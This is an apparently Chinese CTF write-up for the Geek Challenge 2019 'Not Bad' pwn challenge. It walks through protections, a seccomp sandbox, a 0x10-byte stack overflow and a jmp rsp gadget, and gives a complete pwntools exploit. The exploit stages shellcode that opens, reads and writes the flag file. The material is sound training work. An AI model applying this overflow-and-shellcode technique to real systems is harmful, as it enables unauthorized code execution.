极客大挑战 2019 Not Bad

文章发布时间:

最后更新时间:

文章总字数:
691

预计阅读时间:
3 分钟

手写shellcode 但是比较简单 记录一下思路

保护机制

1
2
3
4
5
6
7
8
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/chen/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

ida看一下

1
2
3
4
5
6
7
8
__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
seccomp();
buffer();
vuln();
return 0LL;
}

mmap开辟了一块内存 地址从0x123000 - 0x124000 权限是可写可执行

还有三个函数 跟进一下看看

1
2
3
4
5
6
7
8
9
10
11
__int64 seccomp()
{
__int64 v1; // [rsp+8h] [rbp-8h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
return seccomp_load(v1);
}

开沙盒了 看看限制了啥

1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

只能允许open read write三个函数 那就是orw了

接着跟进下一个函数

1
2
3
4
5
6
void buffer()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
}

清空了缓存区 这个没啥好说的 跟进下一个函数

1
2
3
4
5
6
7
8
int vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Easy shellcode, have fun!");
read(0, buf, 0x38uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

给了一次0x10字节栈溢出的机会 这种情况下大概率就是手写shellcode了 应该是有哪个地方给了jmp rsp指令 ropgadget找一下

1
2
3
4
5
6
7
8
9
10
11
12
13
chen@chen-virtual-machine:~$ ROPgadget --binary pwn --only 'jmp|rsp'
Gadgets information
============================================================
0x00000000004002d8 : jmp 0x4002ad
0x000000000040078b : jmp 0x400770
0x00000000004008eb : jmp 0x400880
0x0000000000400b03 : jmp 0x400b7a
0x0000000000400b87 : jmp qword ptr [rax - 0x68000000]
0x0000000000400ceb : jmp qword ptr [rbp]
0x0000000000400865 : jmp rax
0x0000000000400a01 : jmp rsp

Unique gadgets found: 8

果然有一个 不过由于0x10还要算上jmp rsp 那么给shellcode的字节就只有8字节了 这显然是啥也干不了的 gdb动调看了下寄存器 都要我们重新赋值 这个时候可以利用sub rsp来往上抬栈 从而使得原本是用垃圾数据填充的部分可以被我们利用起来

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = 'debug'
#io=process('./pwn')
io = remote("node4.buuoj.cn",26981)
elf = ELF('./pwn')
#libc = ELF('./locate')
libc = ELF("./buu_libc_ubuntu16_64")
context.arch = "amd64"
context.terminal = ['tmux','splitw','-h']

jmp_rsp = 0x400A01
magic_addr = 0x123000
io.recvuntil("Easy shellcode, have fun!")
shellcode = """
xor eax,eax
xor edi,edi
mov edx,200
mov rsi,0x123500
syscall
jmp rsi
"""
shellcode2 = """
sub rsp,0x30
jmp rsp
"""
payload = asm(shellcode).ljust(0x28,b'\x00')+p64(jmp_rsp)+asm(shellcode2)
# gdb.attach(io,'b *0x400A4A')
# pause(0)
io.send(payload)
shellcode3 = asm(shellcraft.open('./flag'))
shellcode3 += asm(shellcraft.read(3,magic_addr+0x50,0x50))
shellcode3 += asm(shellcraft.write(1,magic_addr+0x50,0x50))
io.send(shellcode3)
io.recv()
io.recv()
io.recv()